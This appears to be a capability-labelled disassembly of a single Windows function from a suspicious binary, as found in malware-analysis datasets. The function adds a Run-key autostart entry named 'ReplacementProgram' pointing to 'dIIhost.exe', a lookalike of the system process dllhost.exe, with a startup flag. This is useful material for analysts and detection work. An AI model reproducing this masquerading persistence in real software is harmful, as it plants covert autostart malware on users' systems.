Function at 0x140003890
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r14
push rbp
lea rbp, [rsp - 0x57]
sub rsp, 0xa0
mov rax, qword [0x1400aa020]
xor rax, rsp
mov qword [rbp + 0x4f], rax
xor esi, esi
lea rax, [rbp - 0x19]
mov qword [rsp + 0x20], rax
lea r9d, [rsi + 2]
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140003b6a
mov qword [rbp - 0x11], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp - 1], xmm0
lea r8d, [rsi + 0x1c]
lea rdx, str.C:Program_FilesdIIhost.exe
lea rcx, [rbp - 0x11]
call fcn.140002ba0
nop
mov rcx, qword [rbp - 1]
mov rdx, qword [rbp + 7]
mov rax, rdx
sub rax, rcx
cmp rax, 1
jb 0x1400039a6
lea r8, [rcx + 1]
mov qword [rbp - 1], r8
lea rbx, [rbp - 0x11]
cmp rdx, 0x10
cmovae rbx, qword [rbp - 0x11]
lea rax, [0x14008ffad]
lea r14, [0x14008ffac]
cmp rax, rbx
jbe 0x140003968
lea rax, [rbx + rcx]
cmp r14, rax
ja 0x140003968
cmp rbx, r14
ja 0x140003960
mov edi, esi
jmp 0x14000396d
mov rdi, rbx
sub rdi, r14
jmp 0x14000396d
mov edi, 1
lea rcx, [rbx + 1]
mov rdx, rbx
call fcn.140052760
mov r8, rdi
mov rdx, r14
mov rcx, rbx
call fcn.140052760
mov r8d, 1
sub r8, rdi
lea rdx, [r14 + 1]
add rdx, rdi
lea rcx, [rbx + rdi]
call fcn.140052760
lea rax, [rbp - 0x11]
jmp 0x1400039bd
mov qword [rsp + 0x28], 1
mov edx, 1
lea rcx, [rbp - 0x11]
call fcn.14000afc0
mov qword [rbp + 0x2f], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x3f], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x2f], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x3f], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov r8d, 0xa
lea rdx, str.___startup
lea rcx, [rbp + 0x2f]
call fcn.140006d30
mov qword [rbp + 0xf], rsi
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x1f], xmm0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0xf], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1f], xmm1
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rbp + 0x47]
cmp rdx, 0x10
jb 0x140003a62
inc rdx
mov rcx, qword [rbp + 0x2f]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003a5d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b9b
call fcn.140050320
movdqa xmm0, xmmword [0x14009d530]
movdqu xmmword [rbp + 0x3f], xmm0
mov byte [rbp + 0x2f], 0
mov rdx, qword [rbp + 7]
cmp rdx, 0x10
jb 0x140003aae
inc rdx
mov rcx, qword [rbp - 0x11]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003aa9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003ba1
call fcn.140050320
mov eax, dword [rbp + 0x1f]
inc eax
lea rcx, [rbp + 0xf]
cmp qword [rbp + 0x27], 0x10
cmovae rcx, qword [rbp + 0xf]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, str.ReplacementProgram
mov rcx, qword [rbp - 0x19]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp - 0x19]
test eax, eax
jne 0x140003b2d
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x140003b29
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b24
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b95
call fcn.140050320
mov al, 1
jmp 0x140003b6c
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp + 0x27]
cmp rdx, 0x10
jb 0x140003b6a
inc rdx
mov rcx, qword [rbp + 0xf]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003b65
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140003b95
call fcn.140050320
xor al, al
mov rcx, qword [rbp + 0x4f]
xor rcx, rsp
call fcn.140050300
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
call fcn.14005e4d0
nop
call fcn.14005e4d0
nop
call fcn.14005e4d0
int3